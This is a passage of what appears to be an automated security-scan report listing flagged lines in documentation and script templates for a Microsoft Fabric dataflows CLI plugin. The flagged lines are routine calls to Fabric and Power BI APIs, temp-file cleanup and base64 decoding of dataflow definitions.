    | Refresh fails with `EntityUserFailure` / "Something went wrong" and no detail | (1) Confirm `updateDefinition` was called after create; (2) check credential type — `OAuth2`+`singleSignOnType: None` often fails under tenant Conditional Acc
  • Network accessline 369
    DF_NAME="my-titanic-df" CONN_NAME="my-titanic-web-conn" URL="https://raw.githubusercontent.com/datasciencedojo/datasets/master/titanic.csv"
  • Network accessline 370
    CONN_NAME="my-titanic-web-conn" URL="https://raw.githubusercontent.com/datasciencedojo/datasets/master/titanic.csv" RES="https://api.fabric.microsoft.com"; API="$RES/v1"
  • Network accessline 371
    URL="https://raw.githubusercontent.com/datasciencedojo/datasets/master/titanic.csv"
  • Network accessline 372
    RES="https://api.fabric.microsoft.com"; API="$RES/v1"
  • Network accessline 373
    PBI="https://analysis.windows.net/powerbi/api"   # NO trailing slash
  • Dangerous shell operationline 400
    rm -f "$BODY_FILE"
  • Network accessline 404
    for i in 1 2 3 4 5 6 7 8; do   CLUSTER_ID=$(az rest --method get --resource "$PBI" \     --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \
  • Network accessline 405
    CLUSTER_ID=$(az rest --method get --resource "$PBI"      --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources"
  • Network accessline 406
    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \
  • Dangerous shell operationline 425
    rm -f "$SHELL_BODY"
  • Network accessline 440
    }') PLATFORM=$(jq -n --arg name "$DF_NAME" --arg lid "$(uuidgen)" '{   "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json",
  • Network accessline 441
    PLATFORM=$(jq -n --arg name "$DF_NAME" --arg lid "$(uuidgen)" '{   "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json",   metadata: { type: "Dataflow", displayName: $name },
  • Network accessline 442
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json",
  • Dangerous shell operationline 462
    rm -f "$BODY_FILE"
  • Network accessline 464
    # Step 6: Verify connections[] persisted via getDefinition (NOT /items/{id}/connections). # Assumes the sync 200 fast-path (typical, ~1s). If the call ever returns 202 LRO, # az rest can't expose the Location header — switch to the curl + p
  • Network accessline 465
    # Assumes the sync 200 fast-path (typical, ~1s). If the call ever returns 202 LRO, # az rest can't expose the Location header — switch to the curl + poll pattern from # Example 3 / authoring-script-templates.md and decode the polled 200 bod
  • Network accessline 466
    # az rest can't expose the Location header — switch to the curl + poll pattern from
  • Dangerous shell operationline 482
    rm -f "$EQ_BODY"
  • Network accessline 498
    # On the first refresh after any updateDefinition, body MUST include executeOption=ApplyChangesIfNeeded # (otherwise Fabric refreshes the previously-applied definition). # Acquire $TOKEN per common/COMMON-CLI.md § Token-in-Variable Pattern 
  • Network accessline 499
    # (otherwise Fabric refreshes the previously-applied definition). # Acquire $TOKEN per common/COMMON-CLI.md § Token-in-Variable Pattern (resource = https://api.fabric.microsoft.com). LOCATION=$(curl -sS -X POST \
  • Network accessline 500
    [Credential-related source omitted]
  • Network accessline 501
    LOCATION=$(curl -sS -X POST \
  • Network accessline 502
    [Credential-related source omitted]
  • Network accessline 503
    --data '{"executionData":{"executeOption":"ApplyChangesIfNeeded"}}' \   "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/jobs/instances?jobType=Refresh" \   -o /dev/null -D - | tr -d '\r' | grep -i "^location:" | 
  • Network accessline 504
    "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/jobs/instances?jobType=Refresh" \
  • Network accessline 516
    while [ "$ATTEMPT" -lt "$MAX_POLLS" ]; do   STATUS=$(az rest --method get --url "$LOCATION" \     --resource "https://api.fabric.microsoft.com" --query "status" -o tsv)
  • Network accessline 517
    STATUS=$(az rest --method get --url "$LOCATION"      --resource "https://api.fabric.microsoft.com" --query "status" -o tsv)
  • Network accessline 518
    --resource "https://api.fabric.microsoft.com" --query "status" -o tsv)
  • Network accessline 533
    # Surface the raw job instance and stop; do not assume success.     echo "Polling stopped after ${MAX_POLLS} attempts with non-terminal status '$STATUS' (max-poll timeout, not a terminal outcome)."     az rest --method get --url "$LOCATION"
  • Network accessline 534
    echo "Polling stopped after ${MAX_POLLS} attempts with non-terminal status '$STATUS' (max-poll timeout, not a terminal outcome)."     az rest --method get --url "$LOCATION" --resource "https://api.fabric.microsoft.com"     exit 1 ;;
  • Network accessline 535
    az rest --method get --url "$LOCATION" --resource "https://api.fabric.microsoft.com"
  • Network accessline 539
    # ErrorResponse with .errorCode / .isRetriable / .message) and STOP. Do NOT re-trigger or keep       # polling when .failureReason.isRetriable=false or the error is workspace-wide.       az rest --method get --url "$LOCATION" --resource "ht
  • Network accessline 540
    # polling when .failureReason.isRetriable=false or the error is workspace-wide.       az rest --method get --url "$LOCATION" --resource "https://api.fabric.microsoft.com"       exit 1 ;;
  • Network accessline 541
    az rest --method get --url "$LOCATION" --resource "https://api.fabric.microsoft.com"
  • Network accessline 557
    #   This is distinct from the LRO operation enum (Running / Succeeded / Failed / Cancelled). #   Refresh "success" = "Completed", not "Succeeded". # Acquire $Token per common/COMMON-CLI.md § Token-in-Variable Pattern (resource = https://api
  • Network accessline 558
    #   Refresh "success" = "Completed", not "Succeeded". # Acquire $Token per common/COMMON-CLI.md § Token-in-Variable Pattern (resource = https://api.fabric.microsoft.com). try {
  • Network accessline 559
    # Acquire $Token per common/COMMON-CLI.md § Token-in-Variable Pattern (resource = https://api.fabric.microsoft.com).
  • Network accessline 560
    try {   $Resp = Invoke-WebRequest -Method POST -UseBasicParsing `     -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/jobs/instances?jobType=Refresh" `
  • Network accessline 561
    $Resp = Invoke-WebRequest -Method POST -UseBasicParsing      -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/jobs/instances?jobType=Refresh"
  • Network accessline 562
    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/jobs/instances?jobType=Refresh" `
  • Network accessline 572
    do {   $Status = az rest --method get --url $Location `     --resource "https://api.fabric.microsoft.com" --query "status" -o tsv
  • Network accessline 573
    $Status = az rest --method get --url $Location      --resource "https://api.fabric.microsoft.com" --query "status" -o tsv
  • Network accessline 574
    --resource "https://api.fabric.microsoft.com" --query "status" -o tsv
  • Network accessline 580
    # Max-poll bound reached before any terminal status — a polling timeout, NOT a terminal outcome.   Write-Host "Polling stopped after $MaxPolls attempts with non-terminal status '$Status' (max-poll timeout, not a terminal outcome)."   az res
  • Network accessline 581
    Write-Host "Polling stopped after $MaxPolls attempts with non-terminal status '$Status' (max-poll timeout, not a terminal outcome)."   az rest --method get --url $Location --resource "https://api.fabric.microsoft.com"   exit 1
  • Network accessline 582
    az rest --method get --url $Location --resource "https://api.fabric.microsoft.com"
  • Network accessline 595
    # raw error (the job-instance body's .failureReason: .errorCode / .isRetriable / .message) and STOP;     # do not re-trigger or debug-loop when failureReason.isRetriable=false or the error is workspace-wide.     az rest --method get --url $
  • Network accessline 596
    # do not re-trigger or debug-loop when failureReason.isRetriable=false or the error is workspace-wide.     az rest --method get --url $Location --resource "https://api.fabric.microsoft.com"     Write-Error "Refresh terminated '$Status' (not
  • Network accessline 597
    az rest --method get --url $Location --resource "https://api.fabric.microsoft.com"
  • Network accessline 610
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 613
    [Credential-related source omitted]
  • Network accessline 614
    [Credential-related source omitted]
  • Network accessline 615
    [Credential-related source omitted]
  • Dangerous shell operationline 632
    rm -f "$HDR" "$BODY"
  • Dangerous shell operationline 657
    rm -f "$BODY_FILE"

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/authoring-cli-quickref.md

  • Network accessline 8
    WS_ID="<workspaceId>" DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 9
    DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 10
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 11
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 59
    > **⚠ LRO caveat:** `getDefinition` can return **202 + Location** (the body is empty on the initial response) instead of an inline 200. The one-liner below only works for the synchronous case. For production code, use the LRO-aware curl pat
  • Network accessline 167
    az rest --method get \   --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 168
    --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \   --query "value[].{id:id, name:displayName, type:connectionDetails.type}" -o json
  • Network accessline 169
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 178
    az rest --method get \   --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 179
    --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \   --query "value[?displayName=='$CONN_NAME'].{id:id, type:connectionDetails.type}" -o json
  • Network accessline 180
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 188
    az rest --method get \   --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 189
    --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \   --query "value[?connectionDetails.type=='SQL'].{id:id, name:displayName}" -o json
  • Network accessline 190
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 194
    az rest --method get \   --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 195
    --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \   --query "value[?connectionDetails.type=='AzureBlobs'].id" -o tsv
  • Network accessline 196
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 206
    RESULT=$(az rest --method get \   --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 207
    --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \   --query "value[?id=='$CONN_ID'] | [0] | {id:id, name:displayName, type:connectionDetails.type}" \
  • Network accessline 208
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 223
    > **⚠ LRO caveat:** the `az rest --method post .../getDefinition` call below is a happy-path one-liner that only works when the response is synchronous (200). For large definitions or under load the API returns **202 + Location**; this snip
  • Network accessline 244
    WS_ID="<id>" DF_ID="<id>" RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 246
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 249
    [Credential-related source omitted]
  • Network accessline 250
    [Credential-related source omitted]
  • Network accessline 251
    HTTP_CODE=$(curl -sS -X POST \
  • Network accessline 252
    [Credential-related source omitted]
  • Network accessline 253
    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/getDefinition" \
  • Dangerous shell operationline 271
    rm -f "$GET_DEF_BODY" "$GET_DEF_HDR"
  • Network accessline 275
    # List all connections once for efficiency ALL_CONNECTIONS=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 276
    ALL_CONNECTIONS=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 277
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 278
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Possible obfuscationline 334
    [System.IO.File]::WriteAllBytes("mashup.pq", [Convert]::FromBase64String($base64String))
  • Network accessline 344
    > **⚠ LRO caveat:** the one-liner `getDefinition` below assumes a synchronous 200 response. Under load or for large definitions the API returns **202 + Location**, which this snippet does not handle — it will silently fail and decode garbag
  • Network accessline 483
    # az rest cannot return response headers; use curl with an az-acquired token to capture Location.
  • Network accessline 484
    [Credential-related source omitted]
  • Network accessline 485
    [Credential-related source omitted]
  • Network accessline 486
    [Credential-related source omitted]
  • Dangerous shell operationline 505
    rm -f "$HDR" "$BODY"
  • Network accessline 510
    The endpoint lives on the Power BI control plane (not on `api.fabric.microsoft.com`) and the field is `clusterId` (camelCase). Pass `--resource "https://analysis.windows.net/powerbi/api"` to get the right token audience.
  • Network accessline 513
    CONN_ID="<connectionId>" PBI_RESOURCE="https://analysis.windows.net/powerbi/api"
  • Network accessline 514
    PBI_RESOURCE="https://analysis.windows.net/powerbi/api"
  • Network accessline 520
    CLUSTER_ID=$(az rest --method get \   --resource "$PBI_RESOURCE" \   --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \
  • Network accessline 521
    --resource "$PBI_RESOURCE" \   --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \   --query "value[?id=='$CONN_ID'] | [0].clusterId" --output tsv)
  • Network accessline 522
    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \
  • Dangerous shell operationline 562
    rm -f "$UPDATE_BODY"
  • Network accessline 569
    - **GitHub Copilot CLI**: Generate `az rest` one-liners for dataflow CRUD or complete `.sh` scripts. Always include `--resource "https://api.fabric.microsoft.com"` in output. Remind user about base64 encoding for definition parts.

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/authoring-script-templates.md

  • Network accessline 5
    **Common prerequisites** (validated in each template): - `az` CLI installed — `https://aka.ms/install-azure-cli`
  • Network accessline 6
    - `az` CLI installed — `https://aka.ms/install-azure-cli`
  • Network accessline 13
    `getDefinition` (and other Fabric mutations) follow the [Fabric Long-Running Operation contract](https://learn.microsoft.com/rest/api/fabric/articles/long-running-operation):
  • Network accessline 28
    # Prerequisites: $RESOURCE, $TOKEN, headers file $HDR, body file $BODY, $HTTP_CODE (e.g. from curl -D -o -w "%{http_code}")
  • Network accessline 88
    WS_ID="${WS_ID:?Set WS_ID env var}" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 89
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 90
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 128
    # Define .platform PLATFORM='{   "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json",
  • Network accessline 129
    PLATFORM='{   "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json",   "metadata": {"type": "Dataflow", "displayName": "'"$DATAFLOW_NAME"'"},
  • Network accessline 130
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json",
  • Network accessline 166
    WS_ID="${WS_ID:?Set WS_ID env var}" DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 167
    DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1" RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 168
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 169
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 181
    [Credential-related source omitted]
  • Network accessline 182
    [Credential-related source omitted]
  • Network accessline 183
    HTTP_CODE=$(curl -sS -X POST \
  • Dangerous shell operationline 201
    rm -f "$GET_DEF_HDR" "$GET_DEF_BODY"
  • Network accessline 257
    $Resource = "https://api.fabric.microsoft.com"
  • Possible obfuscationline 288
    function From-B64([string]$b64) { [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b64)) }
  • Network accessline 338
    DF_ID="${DF_ID:?Set DF_ID env var}" QUERY_NAME="${QUERY_NAME:?Set QUERY_NAME env var (must match a 'shared' member)}" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 339
    QUERY_NAME="${QUERY_NAME:?Set QUERY_NAME env var (must match a 'shared' member)}" API="https://api.fabric.microsoft.com/v1" RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 340
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 341
    RESOURCE="https://api.fabric.microsoft.com"
  • Dangerous shell operationline 393
    rm -f "$PREVIEW_REQ" "$PREVIEW_OUT"
  • Dangerous shell operationline 399
    rm -f "$PREVIEW_REQ" "$PREVIEW_OUT"
  • Network accessline 404
    [Credential-related source omitted]
  • Network accessline 405
    [Credential-related source omitted]
  • Network accessline 406
    HTTP_CODE=$(curl -sS -X POST \
  • Dangerous shell operationline 425
    rm -f "$GET_DEF_BODY" "$GET_DEF_HDR"
  • Network accessline 440
    # 5. Persist the production mashup (always write to temp file — never inline --body for large payloads). #    updateDefinition can return 200 (sync) or 202 + Location (LRO). Use curl so we can
  • Network accessline 441
    #    updateDefinition can return 200 (sync) or 202 + Location (LRO). Use curl so we can
  • Network accessline 446
    UPDATE_BODY=$(mktemp); UPDATE_HDR=$(mktemp); UPDATE_OUT=$(mktemp) echo "$DEFINITION_PAYLOAD" > "$UPDATE_BODY" UPDATE_CODE=$(curl -sS -X POST \
  • Network accessline 447
    [Credential-related source omitted]
  • Network accessline 448
    UPDATE_CODE=$(curl -sS -X POST \
  • Dangerous shell operationline 468
    rm -f "$UPDATE_BODY" "$UPDATE_HDR" "$UPDATE_OUT"
  • Network accessline 473
    [Credential-related source omitted]
  • Network accessline 474
    [Credential-related source omitted]
  • Network accessline 475
    [Credential-related source omitted]
  • Access to secretsline 475
    [Credential-related source omitted]
  • Access to secretsline 476
    [Credential-related source omitted]
  • Dangerous shell operationline 494
    rm -f "$VERIFY_BODY" "$VERIFY_HDR"
  • Network accessline 506
    WS_ID="${WS_ID:?Set WS_ID env var}" DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 507
    DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1" RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 508
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 509
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 518
    # Trigger the job — capture Location header for polling. # az rest cannot return response headers; use curl with an az-acquired token.
  • Network accessline 519
    # az rest cannot return response headers; use curl with an az-acquired token.
  • Network accessline 520
    [Credential-related source omitted]
  • Network accessline 521
    OP_URL=$(curl -sS -X POST \
  • Network accessline 568
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 569
    RESOURCE="https://api.fabric.microsoft.com"
  • Dangerous shell operationline 617
    rm -f /tmp/df_import_payload.json
  • Network accessline 650
    $api = "https://api.fabric.microsoft.com/v1"
  • Network accessline 651
    $resource = "https://api.fabric.microsoft.com"
  • Network accessline 684
    # Define .platform $platform = @{     "`$schema" = "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json"
  • Network accessline 685
    $platform = @{     "`$schema" = "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json"     metadata = @{ type = "Dataflow"; displayName = $DataflowName }
  • Network accessline 686
    "`$schema" = "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json"
  • Network accessline 744
    $api = "https://api.fabric.microsoft.com/v1"
  • Network accessline 745
    $resource = "https://api.fabric.microsoft.com"
  • Network accessline 800
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 801
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 809
    [Credential-related source omitted]
  • Network accessline 810
    [Credential-related source omitted]
  • Network accessline 811
    HTTP_CODE=$(curl -sS -X POST \
  • Dangerous shell operationline 830
    rm -f "$GET_DEF_BODY" "$GET_DEF_HDR"
  • Network accessline 835
    ALL_CONNECTIONS=$(az rest --method get \   --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 836
    --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \   --query "value" -o json)
  • Network accessline 837
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 869
    else   echo "❌ Validation failed: $MISSING missing connection(s)"   echo "Run: az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com/v1/connections' --query 'value[] | {id, name:displayNa
  • Network accessline 870
    echo "❌ Validation failed: $MISSING missing connection(s)"   echo "Run: az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com/v1/connections' --query 'value[] | {id, name:displayName}'"  
  • Network accessline 871
    echo "Run: az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com/v1/connections' --query 'value[] | {id, name:displayName}'"
  • Network accessline 888
    $api = "https://api.fabric.microsoft.com/v1"
  • Network accessline 889
    $resource = "https://api.fabric.microsoft.com"
  • Possible obfuscationline 925
    $queryMetaJson = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($queryMetaB64))
  • Network accessline 928
    # List all connections once for efficiency $allConnections = az rest --method get --resource $resource `     --url "https://api.fabric.microsoft.com/v1/connections" `
  • Network accessline 929
    $allConnections = az rest --method get --resource $resource      --url "https://api.fabric.microsoft.com/v1/connections"
  • Network accessline 930
    --url "https://api.fabric.microsoft.com/v1/connections" `
  • Network accessline 966
    Write-Error "Validation failed: $missing missing connection(s)"     Write-Host "To see available connections, run:"     Write-Host "  az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com
  • Network accessline 967
    Write-Host "To see available connections, run:"     Write-Host "  az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com/v1/connections' --query 'value[] | {id, name:displayName}'"     exi
  • Network accessline 968
    Write-Host "  az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com/v1/connections' --query 'value[] | {id, name:displayName}'"
  • Network accessline 991
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 992
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 1000
    [Credential-related source omitted]
  • Network accessline 1001
    [Credential-related source omitted]
  • Network accessline 1002
    HTTP_CODE=$(curl -sS -X POST \
  • Dangerous shell operationline 1021
    rm -f "$GET_DEF_BODY" "$GET_DEF_HDR"
  • Network accessline 1026
    ALL_CONNECTIONS=$(az rest --method get      --resource "$RESOURCE"      --url "https://api.fabric.microsoft.com/v1/connections"
  • Network accessline 1028
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 1051
    # Trigger refresh   # az rest cannot return response headers; use curl with an az-acquired token to capture Location.
  • Network accessline 1052
    # az rest cannot return response headers; use curl with an az-acquired token to capture Location.
  • Network accessline 1053
    [Credential-related source omitted]
  • Network accessline 1054
    [Credential-related source omitted]
  • Network accessline 1055
    LOCATION=$(curl -sS -X POST \
  • Network accessline 1116
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 1117
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 1121
    # Step 1: Get current definition # getDefinition can return 200 (sync, body inline) or 202 + Location header (LRO) — handle both. # az rest cannot return response headers; use curl with an az-acquired token to capture Location.
  • Network accessline 1122
    # getDefinition can return 200 (sync, body inline) or 202 + Location header (LRO) — handle both. # az rest cannot return response headers; use curl with an az-acquired token to capture Location. echo "Step 1: Fetching definition..."
  • Network accessline 1123
    # az rest cannot return response headers; use curl with an az-acquired token to capture Location.
  • Network accessline 1125
    [Credential-related source omitted]
  • Network accessline 1126
    [Credential-related source omitted]
  • Network accessline 1127
    HTTP_CODE=$(curl -sS -X POST \
  • Dangerous shell operationline 1146
    rm -f "$GET_DEF_BODY" "$GET_DEF_HDR"
  • Network accessline 1159
    # cloud connections. List once; reuse across all conn ids. echo "Step 2: Retrieving ClusterIds..." PBI_RESOURCE="https://analysis.windows.net/powerbi/api"
  • Network accessline 1160
    echo "Step 2: Retrieving ClusterIds..." PBI_RESOURCE="https://analysis.windows.net/powerbi/api" declare -A CLUSTER_IDS
  • Network accessline 1161
    PBI_RESOURCE="https://analysis.windows.net/powerbi/api"
  • Network accessline 1162
    declare -A CLUSTER_IDS DS_LIST=$(az rest --method get --resource "$PBI_RESOURCE" \   --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources")
  • Network accessline 1163
    DS_LIST=$(az rest --method get --resource "$PBI_RESOURCE"    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources")
  • Network accessline 1164
    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources")
  • Network accessline 1209
    # updateDefinition can return 200 (sync) or 202 + Location (LRO). Use curl so we can
  • Network accessline 1212
    # stale connections[]. See § Fabric LRO Polling Pattern. UPDATE_HDR=$(mktemp); UPDATE_OUT=$(mktemp) UPDATE_CODE=$(curl -sS -X POST \
  • Network accessline 1213
    [Credential-related source omitted]
  • Network accessline 1214
    UPDATE_CODE=$(curl -sS -X POST \
  • Dangerous shell operationline 1235
    rm -f "$UPDATE_BODY" "$UPDATE_HDR" "$UPDATE_OUT"
  • Network accessline 1241
    echo "Step 5: Verifying connections[] survived save..." VERIFY_HDR=$(mktemp); VERIFY_BODY=$(mktemp) VERIFY_CODE=$(curl -sS -X POST \
  • Network accessline 1242
    [Credential-related source omitted]
  • Network accessline 1243
    VERIFY_CODE=$(curl -sS -X POST \
  • Dangerous shell operationline 1263
    rm -f "$VERIFY_HDR" "$VERIFY_BODY"
  • Network accessline 1288
    $api = "https://api.fabric.microsoft.com/v1"
  • Network accessline 1289
    $resource = "https://api.fabric.microsoft.com"
  • Possible obfuscationline 1328
    $queryMetaJson = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($queryMetaB64))
  • Network accessline 1338
    # returns PowerBIEntityNotFound for cloud connections. Write-Host "Step 2: Retrieving ClusterId for $ConnectionId..." $pbiResource = "https://analysis.windows.net/powerbi/api"
  • Network accessline 1339
    Write-Host "Step 2: Retrieving ClusterId for $ConnectionId..." $pbiResource = "https://analysis.windows.net/powerbi/api" $dsList = az rest --method get --resource $pbiResource `
  • Network accessline 1340
    $pbiResource = "https://analysis.windows.net/powerbi/api"
  • Network accessline 1341
    $dsList = az rest --method get --resource $pbiResource      --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" | ConvertFrom-Json
  • Network accessline 1342
    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" | ConvertFrom-Json
  • Possible obfuscationline 1448
    $postQmJson = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($postQmB64))
  • Network accessline 1471
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 1472
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 1546
    $api      = "https://api.fabric.microsoft.com/v1"
  • Network accessline 1547
    $resource = "https://api.fabric.microsoft.com"
  • Network accessline 1632
    # ============== Config (caller fills these in) ============== $resource    = 'https://api.fabric.microsoft.com'
  • Network accessline 1633
    $resource    = 'https://api.fabric.microsoft.com'
  • Network accessline 1634
    $pbiResource = 'https://analysis.windows.net/powerbi/api'
  • Network accessline 1635
    $wsId        = '<workspace-guid>' $connId      = '<connection-guid>'            # PersonalCloud anonymous OData for the smoke test $sourceUrl   = 'http://services.odata.org/V3/Northwind/Northwind.svc'
  • Network accessline 1636
    $connId      = '<connection-guid>'            # PersonalCloud anonymous OData for the smoke test $sourceUrl   = 'http://services.odata.org/V3/Northwind/Northwind.svc' $sourceKind  = 'OData'
  • Network accessline 1637
    $sourceUrl   = 'http://services.odata.org/V3/Northwind/Northwind.svc'
  • Network accessline 1644
    # for cloud connections. $dsList = az rest --method get --resource $pbiResource `   --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" | ConvertFrom-Json
  • Network accessline 1645
    $dsList = az rest --method get --resource $pbiResource    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" | ConvertFrom-Json
  • Network accessline 1646
    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" | ConvertFrom-Json
  • Network accessline 1674
    $platform = @{   '$schema' = 'https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json'
  • Network accessline 1675
    '$schema' = 'https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json'

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/charts/bar_chart.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/charts/line_chart.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/connection-management.md

  • Network accessline 9
    > **Authoritative API spec.** All schemas, field names, defaults, and credential shapes in this document are taken from Microsoft Learn: > - [List Connections](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-connecti
  • Network accessline 10
    > - [List Connections](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-connections)
  • Network accessline 11
    > - [Get Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/get-connection)
  • Network accessline 12
    > - [List Supported Connection Types](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-supported-connection-types)
  • Network accessline 13
    > - [Create Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/create-connection)
  • Network accessline 14
    > - [Test Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/test-connection)
  • Network accessline 80
    Additional caller requirements: - **Service principals creating connections** require Fabric tenant admin enablement: see [*Service principals can create workspaces, connections, and deployment pipelines*](https://learn.microsoft.com/en-us/
  • Network accessline 81
